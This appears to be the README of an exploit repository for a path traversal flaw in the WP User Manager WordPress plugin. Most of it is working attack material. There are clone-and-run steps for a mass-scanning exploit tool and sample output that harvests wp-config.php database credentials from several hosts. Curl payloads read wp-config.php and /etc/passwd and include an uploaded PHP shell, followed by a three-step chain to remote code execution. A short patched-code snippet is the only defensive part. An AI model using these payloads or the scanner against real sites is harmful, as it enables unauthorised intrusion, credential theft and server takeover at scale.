CVE-2026-9290

// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

# Single target — LFI probe
python cve_2026_9290.py -t target.com

# Mass scan
python cve_2026_9290.py -f targets.txt -v

# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  --read PATH       Read a specific file via LFI
  -o, --output      Save results to file
  --threads         Workers (default: 25)
  -v, --verbose     Show detailed output

$ python cve_2026_9290.py -t target.com -v

  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Read /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE